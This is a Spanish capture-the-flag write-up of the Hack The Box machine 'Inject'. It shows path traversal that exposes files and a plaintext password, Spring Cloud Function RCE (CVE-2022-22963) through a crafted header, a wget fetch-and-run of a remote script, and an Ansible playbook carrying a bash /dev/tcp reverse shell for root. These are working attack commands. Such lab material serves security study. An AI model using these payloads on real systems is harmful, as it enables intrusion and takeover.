Una vulnerabilidad en el sitio nos permitio listar, leer y descargar archivos, lo que nos dio acceso al codigo fuente de la aplicacion descubriendo la vulnerabilidad Spring4shell lo que nos dio acceso a un primer usuario. Las credenciales en un archivo de configuracion nos dieron acceso a un segundo usuario. Finalmente escalamos privilegios utilizando un archivo YAML.
Nombre
Inject
OS
Linux
Puntos
20
Dificultad
Facil
IP
10.10.11.204
Maker
rajHere
Matrix
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[5.5, 5.1, 5.4, 4.6, 4.9],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[0, 0, 0, 0, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
Recon
nmap
nmap
muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.93 scan initiated Sat Mar 11 19:53:47 2023 as: nmap -p22,8080 -sV -sC -oN nmap_scan 10.10.11.204
Nmap scan report for 10.10.11.204
Host is up ( 0.24s latency) .
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 ( Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 ( RSA)
| 256 d51c81c97b076b1cc1b429254b52219f ( ECDSA)
| _ 256 db1d8ceb9472b0d3ed44b96c93a7f91d ( ED25519)
8080/tcp open nagios-nsca Nagios NSCA
| _http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 11 19:54:03 2023 -- 1 IP address (1 host up) scanned in 15.94 seconds
Web Site
El sitio web no presenta ninguna redireccion a algun dominio.
1
2
3
4
5
6
7
8
π ~/htb/inject ❯ curl -sI 10.10.11.204:8080
HTTP/1.1 200
Content-Type: text/html; charset = UTF-8
Content-Language: en-US
Content-Length: 6657
Date: Wed, 03 May 2023 22:38:27 GMT
π ~/htb/inject ❯
La Informacion del sitio muestra alguntipo de servicio en la nube.
Directory Brute Forcing
feroxbuster
muestra multiples rutas del sitio.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
π ~/htb/inject ❯ feroxbuster -u http://10.10.11.204:8080/
___ ___ __ __ __ __ __ ___
| __ | __ | __) | __) | / ` / \ \_ / | | \ | __
| | ___ | \ | \ | \_ _, \_ _/ / \ | | __/ | ___
by Ben "epi" Risher 🤓 ver: 2.7.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.204:8080/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [ 200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout ( secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [ GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 166l 487w 0c http://10.10.11.204:8080/
200 GET 104l 194w 0c http://10.10.11.204:8080/register
200 GET 54l 107w 0c http://10.10.11.204:8080/upload
500 GET 1l 3w 0c http://10.10.11.204:8080/error
200 GET 112l 326w 0c http://10.10.11.204:8080/blogs
500 GET 1l 27w 0c http://10.10.11.204:8080/environment
Basados en que se esta haciendo uso de webjars y en el error de codigo 500, podria tratarse de una aplicacion web escrita en java.
1
2
3
4
5
6
< head >
< meta charset = "UTF-8" >
< title > Home</ title >
< link rel = "stylesheet" type = "text/css" href = "/webjars/bootstrap/css/bootstrap.min.css" />
< link rel = "stylesheet" href = "css/test.css" />
</ head >
Directory Traversal
En la ruta /upload nos muestra un formulario para la subida de imagenes.
1
2
3
4
5
< form action = "/upload" method = "post" enctype = "multipart/form-data" >
< input class = "form-control" name = "file" type = "file" id = "formFile" >< br />
< input type = "submit" value = "Upload" class = "btn btn-warning" >
</ form >
Tras enviar una imagen vemos un mensaje con un enlace que al visitarlo nos muestra la imagen.
Vemos que se toma como valor el nombre de la imagen en el parametro img.
1
/show_image?img= Cloud.png
Utilizando multiples ../
nos permitio leer el archivo /etc/passwd.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
π ~/htb/inject ❯ curl -s "10.10.11.204:8080/show_image?img=../../../../../etc/passwd"
{ "timestamp" :"2023-05-03T22:51:11.065+00:00" ,"status" :500,"error" :"Internal Server Error" ,"message" :"URL [file:/var/www/WebApp/src/main/uploads/../../../../../etc/passwd] cannot be resolved in the file system for checking its content length" ,"path" :"/show_image" }
π ~/htb/inject ❯ curl -s "10.10.11.204:8080/show_image?img=../../../../../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System ( admin) :/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
π ~/htb/inject ❯
Por alguna extrana razon nos es posible listar los archivos de los directorios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../../../../../"
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
^C
π ~/htb/inject ❯
Tras enumerar home encontramos credenciales para el usuario phil, sin embargo no funcionan por el servicio SSH.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../../../../../home/frank/"
.bash_history
.bashrc
.cache
.local
.m2
.profile
.ssh
^C
π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../../../../../home/frank/.m2/"
settings.xml
^C
π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../../../../../home/frank/.m2/settings.xml"
<?xml version = "1.0" encoding = "UTF-8" ?>
<settings xmlns = "http://maven.apache.org/POM/4.0.0" xmlns:xsi= "http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation= "http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd" >
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${ user .home } /.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
π ~/htb/inject ❯
User - Frank
WebApp
En el directorio /var/www/WebApp
encontramos el codigo fuente de la aplicacion web, segun la estructura de archivos parece ser un proyecto Java que utiliza Maven.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../../../../../var/www/"
html
WebApp
^C
π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../../../../../var/www/WebApp"
.classpath
.DS_Store
.idea
.project
.settings
HELP.md
mvnw
mvnw.cmd
pom.xml
src
target
^C
π ~/htb/inject ❯
Podemos referirnos a la siguiente estructura, ademas de la explicacion de cada uno de los directorios y archivos en el post .
Vemos el archivo UserController.java el cual contiene las rutas del sitio.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
// # ../../../../../../var/www/WebApp/src/main/java/com/example/WebApp/user/UserController.java
package com.example.WebApp.user ;
import org.springframework.core.io.Resource ;
import org.springframework.core.io.UrlResource ;
import org.springframework.http.MediaType ;
import org.springframework.http.ResponseEntity ;
import org.springframework.stereotype.Controller ;
import java.nio.file.Path ;
import org.springframework.ui.Model ;
import org.springframework.util.StringUtils ;
import org.springframework.web.bind.annotation.* ;
import org.springframework.web.multipart.MultipartFile ;
import javax.activation.* ;
import java.io.* ;
import java.net.MalformedURLException ;
import java.nio.file.Files ;
import java.nio.file.Paths ;
import java.nio.file.StandardCopyOption ;
@Controller
public class UserController {
private static String UPLOADED_FOLDER = "/var/www/WebApp/src/main/uploads/" ;
@GetMapping ( "" )
public String homePage (){
return "homepage" ;
}
@GetMapping ( "/register" )
public String signUpFormGET (){
return "under" ;
}
@RequestMapping ( value = "/upload" , method = RequestMethod . GET )
public String UploadFormGet (){
return "upload" ;
}
@RequestMapping ( value = "/show_image" , method = RequestMethod . GET )
public ResponseEntity getImage ( @RequestParam ( "img" ) String name ) {
String fileName = UPLOADED_FOLDER + name ;
Path path = Paths . get ( fileName );
Resource resource = null ;
try {
resource = new UrlResource ( path . toUri ());
} catch ( MalformedURLException e ){
e . printStackTrace ();
}
return ResponseEntity . ok (). contentType ( MediaType . IMAGE_JPEG ). body ( resource );
}
@PostMapping ( "/upload" )
public String Upload ( @RequestParam ( "file" ) MultipartFile file , Model model ){
String fileName = StringUtils . cleanPath ( file . getOriginalFilename ());
if (! file . isEmpty () && ! fileName . contains ( "/" )){
String mimetype = new MimetypesFileTypeMap (). getContentType ( fileName );
String type = mimetype . split ( "/" )[ 0 ];
if ( type . equals ( "image" )){
try {
Path path = Paths . get ( UPLOADED_FOLDER + fileName );
Files . copy ( file . getInputStream (), path , StandardCopyOption . REPLACE_EXISTING );
} catch ( IOException e ){
e . printStackTrace ();
}
model . addAttribute ( "name" , fileName );
model . addAttribute ( "message" , "Uploaded!" );
} else {
model . addAttribute ( "message" , "Only image files are accepted!" );
}
} else {
model . addAttribute ( "message" , "Please Upload a file!" );
}
return "upload" ;
}
@GetMapping ( "/release_notes" )
public String changelog (){
return "change" ;
}
@GetMapping ( "/blogs" )
public String blogPage (){
return "blog" ;
}
}
Vemos el archivo de proyecto compilado spring-webapp.jar
.
1
2
3
4
5
6
7
8
9
10
11
12
13
π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../var/www/WebApp/target/"
.DS_Store
classes
generated-sources
generated-test-sources
maven-archiver
maven-status
spring-webapp.jar
spring-webapp.jar.original
surefire-reports
test-classes
^C
π ~/htb/inject ❯
JD-GUI - spring-webapp.jar
Utilizando jd-gui realizamos la lectura del archivo .jar, donde observamos las dependencias en el archivo pom.xml
dependencies
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
[..]
<dependencies>
<dependency>
<groupId> com.sun.activation</groupId>
<artifactId> javax.activation</artifactId>
<version> 1.2.0</version>
</dependency>
<dependency>
<groupId> org.springframework.boot</groupId>
<artifactId> spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId> org.springframework.boot</groupId>
<artifactId> spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId> org.springframework.boot</groupId>
<artifactId> spring-boot-devtools</artifactId>
<scope> runtime</scope>
<optional> true</optional>
</dependency>
<dependency>
<groupId> org.springframework.cloud</groupId>
<artifactId> spring-cloud-function-web</artifactId>
<version> 3.2.2</version>
</dependency>
<dependency>
<groupId> org.springframework.boot</groupId>
<artifactId> spring-boot-starter-test</artifactId>
<scope> test</scope>
</dependency>
<dependency>
<groupId> org.webjars</groupId>
<artifactId> bootstrap</artifactId>
<version> 5.1.3</version>
</dependency>
<dependency>
<groupId> org.webjars</groupId>
<artifactId> webjars-locator-core</artifactId>
</dependency>
</dependencies>
[..]
CVE-2022-22963 - Spring4shell
Basandonos en cada uno de los nombres y version de las dependencias realizamos una busqueda de vulnerabilidades.
Encontramos que existe una vulnerabilidad en Spring Cloud Function del tipo RCE bajo el identificador CVE-2022-22963 en las versiones 3.1.6, 3.2.2., una de las cuales se esta utilizando en la aplicacion, la v3.2.2. Se explica a detalle en CVE 2022-22963 donde tambien se menciona un PoC , aunque existe uno un poco mas detallado y se muestran dos PoCs, spring-spel-0day-poc .
Exploit
Explotamos la vulnerabilidad con uno de los PoC creando un archivo en el directorio /tmp el cual verificamos que existe.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
π ~/htb/inject ❯ curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/sckull")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter'
HTTP/1.1 500
Content-Type: application/json
Transfer-Encoding: chunked
Date: Wed, 03 May 2023 23:23:41 GMT
Connection: close
{ "timestamp" :"2023-05-03T23:23:41.932+00:00" ,"status" :500,"error" :"Internal Server Error" ,"message" :"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String" ,"path" :"/functionRouter" }
π ~/htb/inject ❯ curl -s "http://10.10.11.204:8080/show_image?img=../../../../../../tmp/"
.font-unix
.ICE-unix
.Test-unix
.X11-unix
.XIM-unix
MHQii
mRENd.b64
systemd-private-548d63f0d6774c28a88a9667325a1cb5-ModemManager.service-sI8rsf
systemd-private-548d63f0d6774c28a88a9667325a1cb5-systemd-logind.service-PUnA7i
systemd-private-548d63f0d6774c28a88a9667325a1cb5-systemd-resolved.service-IRwBCh
systemd-private-548d63f0d6774c28a88a9667325a1cb5-systemd-timesyncd.service-nfy6zg
systemd-private-548d63f0d6774c28a88a9667325a1cb5-upower.service-PArPEf
sckull # <---------------------------------------------
tomcat.8080.3370839466446295371
tomcat-docbase.8080.15144202257924662454
vmware-root_728-2991137345
^C
π ~/htb/inject ❯
Shell
Con ello solo queda ejecutar una shell inversa utilizando shells .
1
2
3
4
5
6
7
8
# commands
spring.cloud.function.routing-expression:T( java.lang.Runtime) .getRuntime() .exec( "wget -qO- 10.10.14.11/10.10.14.11:1335 -O /dev/shm/out.sh" )
spring.cloud.function.routing-expression:T( java.lang.Runtime) .getRuntime() .exec( "bash /dev/shm/out.sh" )
# execution
# curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("wget -qO- 10.10.14.131:8000/10.10.14.131:1335 -O /dev/shm/out.sh")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter'
# curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/out.sh")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter'
Por otro lado obtuvimos acceso a la maquina como frank.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
π ~/htb/inject ❯ rlwrap nc -lvp 1335
listening on [ any] 1335 ...
10.10.11.204: inverse host lookup failed: Unknown host
connect to [ 10.10.14.11] from ( UNKNOWN) [ 10.10.11.204] 43852
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c ' import pty; pty.spawn( "/bin/bash" ) ; '
frank@inject:/$
frank@inject:/$ whoami; id; pwd
whoami; id; pwd
frank
uid = 1000( frank) gid = 1000( frank) groups = 1000( frank)
/
frank@inject:/$
User - Phil
Utilizamos la contrasena encontrada anteriormente para phil la cual funciono correctamente logrando asi obtener nuestra flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
frank@inject:~$ su phil
su phil
Password: DocPhillovestoInject123
phil@inject:/home/frank$ cd
cd
phil@inject:~$ ls
ls
user.txt
phil@inject:~$ cat user.txt
cat user.txt
f78ceac3b3e9b54fa8fdb89773064bf0
phil@inject:~$
Privesc
En el directorio /opt encontramos un archivo yaml de lo que parece ser una tarea automatizada de ansible.
1
2
3
4
5
6
7
8
9
10
bash-5.0$ ls -lah
ls -lah
total 12K
drwxrwxr-x 2 root staff 4.0K May 3 23:32 .
drwxr-xr-x 3 root root 4.0K Oct 20 2022 ..
-rw-r--r-- 1 root root 150 May 3 23:32 playbook_1.yml
bash-5.0$ pwd
pwd
/opt/automation/tasks
bash-5.0$
Segun parece, verifica el estado del servicio webapp.
1
2
3
4
5
6
7
- hosts : localhost
tasks :
- name : Checking webapp service
ansible.builtin.systemd :
name : webapp
enabled : yes
state : started
Vemos que es el servicio de la aplicacion web.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bash-5.0$ systemctl cat webapp.service
systemctl cat webapp.service
# /etc/systemd/system/webapp.service
[ Unit]
Description = Spring WEb APP
After = syslog.target
[ Service]
User = frank
Group = frank
ExecStart = /usr/bin/java -Ddebug -jar /var/www/WebApp/target/spring-webapp.jar
Restart = always
StandardOutput = syslog
StandardError = syslog
[ Install]
WantedBy = multi-user.target
bash-5.0$
Tras ejecutar pspy observamos que existe un cronjob que ejecuta el archivo playbook_1.yml.
1
2
3
4
5
2023/05/03 23:48:05 CMD: UID = 0 PID = 64387 |
2023/05/03 23:48:05 CMD: UID = 0 PID = 64388 | sleep 0
2023/05/03 23:48:05 CMD: UID = 0 PID = 64389 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
2023/05/03 23:48:05 CMD: UID = 0 PID = 64390 | /bin/sh -c rm -f -r /root/.ansible/tmp/ansible-tmp-1683157684.5830197-64365-205275836594962/ > /dev/null 2>& 1 && sleep 0
2023/05/03 23:48:05 CMD: UID = 0 PID = 64391 |
Creamos un archivo para ejecutar una shell inversa utilizando el modulo shell .
1
2
3
4
- hosts: localhost
tasks:
- name: rev
shell: bash -c 'bash -i >& /dev/tcp/10.10.14.131/1338 0>&1'
Lo colocamos en el directorio /opt.
1
2
3
4
5
6
7
8
phil@inject:/opt/automation/tasks$ echo -n "- hosts: localhost
tasks:
- name: rev
shell: bash -c 'bash -i >& /dev/tcp/10.10.14.131/1338 0>&1'" > file.yml
phil@inject:/opt/automation/tasks$ ls
ls
file.yml playbook_1.yml
phil@inject:/opt/automation/tasks$
El nombre del archivo lo podemos modificar, por lo que nombramos como el original al nuestro.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
phil@inject:/opt/automation/tasks$ ls
ls
file.yml playbook_1.yml
phil@inject:/opt/automation/tasks$ mv playbook_1.yml bak.yml
mv playbook_1.yml bak.yml
mv file.yml playbook_1.yml
mv file.yml playbook_1.yml
phil@inject:/opt/automation/tasks$ ls -lah
ls -lah
total 16K
drwxrwxr-x 2 root staff 4.0K Mar 12 03:37 .
drwxr-xr-x 3 root root 4.0K Oct 20 04:23 ..
-rw-r--r-- 1 root root 150 Mar 12 03:36 bak.yml
-rw-rw-r-- 1 phil phil 104 Mar 12 03:36 playbook_1.yml
phil@inject:/opt/automation/tasks$
Luego de varios segundos logramos obtener una shell inversa.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
π ~/htb/inject ❯ rlwrap nc -lvp 1338
listening on [ any] 1338 ...
10.10.11.204: inverse host lookup failed: Unknown host
connect to [ 10.10.14.11] from ( UNKNOWN) [ 10.10.11.204] 41388
bash: cannot set terminal process group ( 5345) : Inappropriate ioctl for device
bash: no job control in this shell
root@inject:/opt/automation/tasks#
root@inject:/opt/automation/tasks# whoami; id; pwd
whoami; id; pwd
root
uid = 0( root) gid = 0( root) groups = 0( root)
/opt/automation/tasks
root@inject:/opt/automation/tasks# cd
root@inject:~# ls
ls
playbook_1.yml
root.txt
root@inject:~# cat /home/phil/user.txt
cat /home/phil/user.txt
f78ceac3b3e9b54fa8fdb89773064bf0
root@inject:~# cat root.txt
cat root.txt
12666536941f65600a9cd4b05f1edf4d
root@inject:~#
Si bien el archivo playbook_1.yml es ejecutado no es el unico, ya que si observamos los cronjobs ejecuta todos los archivos con extension .yml, por lo que no era necesario cambiar el nombre a nuestro archivo de shell.
1
2
3
4
5
6
7
root@inject:/opt/automation/tasks# crontab -l | grep -v "#"
crontab -l | grep -v "#"
*/2 * * * * /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
*/2 * * * * sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/
*/2 * * * * /usr/bin/rm -rf /var/www/WebApp/src/main/uploads/*
*/5 * * * * /usr/bin/rm -rf /tmp/*.yml /dev/shm/*.yml
root@inject:/opt/automation/tasks#